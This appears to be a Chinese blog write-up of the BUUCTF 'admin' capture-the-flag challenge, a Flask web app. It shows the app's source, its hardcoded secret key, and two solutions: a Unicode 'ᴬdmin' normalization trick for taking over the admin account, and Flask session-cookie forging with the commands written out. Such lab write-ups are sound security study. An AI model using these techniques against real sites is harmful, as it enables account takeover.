Z1d10tのBlog

A note for myself,have fun!

  1. 1. 预期解一:
  2. 2. 预期解二:

buuctf admin

这到题目有一个非预期,弱口令直接爆出来了,直接账号为admin,密码为123就能拿到flag,我还想这题怎么这么简单,看了别人的题解才发现又是一道学习的题目。

预期解:

先申请一个账号,抓包看到:

img

那么这道题的思路就是让我去登录管理员的账号就能拿到flag了,但是不知道密码

学习别人的wp:

在源码中发现一个github链接:

打开是一个flask项目,Flask是一个用Python编写的Web应用程序框架

比较重要的文件就是:

user.sql这是一个建数据库的文件

run.py 就是启动这个程序 把端口开放在互联网中

app文件中 routes.py 对应路由 非常重要 flask中就是一个一个路由组成的

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#!/usr/bin/env python
# -*- coding:utf-8 -*-


from flask import Flask, render_template, url_for, flash, request, redirect, session, make_response
from flask_login import logout_user, LoginManager, current_user, login_user
from app import app, db
from config import Config
from app.models import User
from forms import RegisterForm, LoginForm, NewpasswordForm
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep
from io import BytesIO
from code import get_verify_code


@app.route('/code')
def get_code():
image, code = get_verify_code()
# 图片以二进制形式写入
buf = BytesIO()
image.save(buf, 'jpeg')
buf_str = buf.getvalue()
# 把buf_str作为response返回前端,并设置首部字段
response = make_response(buf_str)
response.headers['Content-Type'] = 'image/gif'
# 将验证码字符串储存在session中
session['image'] = code
return response


@app.route('/')
@app.route('/index')
def index():
return render_template('index.html', title = 'hctf')


@app.route('/register', methods = ['GET', 'POST'])
def register():


if current_user.is_authenticated:
return redirect(url_for('index'))


form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data)
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
if User.query.filter_by(username = name).first():
flash('The username has been registered')
return redirect(url_for('register'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form)


@app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))


form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)


@app.route('/logout')
def logout():
logout_user()
return redirect('/index')


@app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)


@app.route('/edit', methods = ['GET', 'POST'])
def edit():
if request.method == 'POST':

flash('post successful')
return redirect(url_for('index'))
return render_template('edit.html', title = 'edit')


@app.errorhandler(404)
def page_not_found(error):
title = unicode(error)
message = error.description
return render_template('errors.html', title=title, message=message)


def strlower(username):
username = nodeprep.prepare(username)
return username

预期解一:

unicode特殊字符绕过

代码审计 看到上面注册,登录,修改系统均有一个转小写的操作strlower(),并且这个转小写的函数不是python自带的,是自己封装的,那么这是非常不正常的。

1
2
3
def strlower(username):
username = nodeprep.prepare(username)
return username

这里通过调用nodeprep模块,nodeprep.prepare这个方法是将大写字母转换成小写字母,但是它存在一个问题:它会将unicode编码的ᴬ转化成A

在代码开头有一行代码:from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep,说明nodeprep是从twisted模块中导入的,利用nodeprep.prepare函数会将unicode字符ᴬ转换成A,而A在调用一次nodeprep.prepare函数会把A转换成a。而值得注意的是strlower()自定义函数被调用了三次,分别是register、login、change,即注册、登陆、修改密码时都会被调用。

思路:用ᴬdmin注册,后台代码就会调用一次nodeprep.prepare函数,把用户名转换成Admin;修改一次密码,再次调用nodeprep.prepare函数,使用户名由Admin转换为admin,重新登陆,就可以得到flag。

预期解二:

抓包发现session

img

flask session伪造

先了解一下session:简单说就是保持会话登录,识别用户

但是一般session是存储在服务器的,但是flask存储在客户端,他是对称加密解密,所以可以进行解码然后伪造编码上传。

在config.py拿到密钥ckj123 待会进行加密解密的时候用

1
2
3
4
5
6
7
import os


class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True

从网上下载一个session 解密加密的脚本

构造payload:

1
python flask_session_cookie_manager3.py decode -c ".eJw9kMFuwjAMhl9l8plDm5YLEgemdB0Hu8qWEjmXCkopTQmTCohRxLsvYhIHS7Z_-f9s36HaDc1pD7PzcGkmUHVbmN3hbQMzKPKPrtBLgbqOUW4PaErB2jqbr5yVKmXPKcrVnn0WUW571iys6688coRSCZRZZE0WZjkmjVdyeGNdJoXkaYgUfRnqVlCu0sKwIPkeGFmChnrUiyhwPAl1Q8eJdXVa6D4msRzRqF8y9hB6IbcdjWoOjwnUp2FXnX_65vg6wfqvA_rlSIavNlcjujJgbMeunQbEaCX5sF5q8-xGrkxYZFNazJ92nV-3zcvp28efZfuvHNc-CLDe1DCBy6kZnl-DOILHHzuQaZg.Y-IrhQ.zQZe9rQP9NoUHeJmwwmmUuZ6x-Q" -s "ckj123"

img

得到:

1
{'_fresh': True, '_id': b'8ab92617507e1e6a6cdecd48bf805aba44fda66f90c64046014ea5065530632a578698682e2a864d89f640e1a71cd104def7d2267f789957b31d15fef731fb74', 'csrf_token': b'fde2b35f0dd325646bb89103d3f068da2657ca94', 'image': b'JmGR', 'name': 'abc', 'user_id': '10'}

将我们创建的abc改为admin 然后再加密 bp抓包修改

构造payload:

1
python flask_session_cookie_manager3.py encode -t "{'_fresh': True, '_id': b'8ab92617507e1e6a6cdecd48bf805aba44fda66f90c64046014ea5065530632a578698682e2a864d89f640e1a71cd104def7d2267f789957b31d15fef731fb74', 'csrf_token': b'fde2b35f0dd325646bb89103d3f068da2657ca94', 'image': b'JmGR', 'name': 'admin', 'user_id': '10'}" -s "ckj123"

img

得到:

1
.eJw9kLFuwkAMhl-l8syQXMKCxEB1IWWwo2svRPaCKISQC0elAKIE8e49UYnBku1f_j_bd1jt-vq0h8m5v9QjWLVbmNzh7RsmUOTztrALhXYTo94esCoVW3GSL51ok7LnFPVyzz6LKJeOLStx3ZUHjlAbhTqLpMrCLMdk8UoOb2zLpNA8DpGiL0PdKMpNWlSsSL8HRpZgRR3aWRQ4npS5oeNE3CYtbBeTWgxYmV-q5BB6IZeWBjOFxwg2p363Ov909fF1gvjPA_rFQBVfJTcDujJgpGXXjANiEE0-rJdKnt3IlQmrbEyz6dOu9eumfjl9-fijbP6V49oHAdZb3x5hBJdT3T__BnEEjz8Vlmp7.Y-IsQQ.ZB68OAuy6kj1z0CD9iH_lurm7zY

更换session,成功

img

本文最后更新于 天前,文中所描述的信息可能已发生改变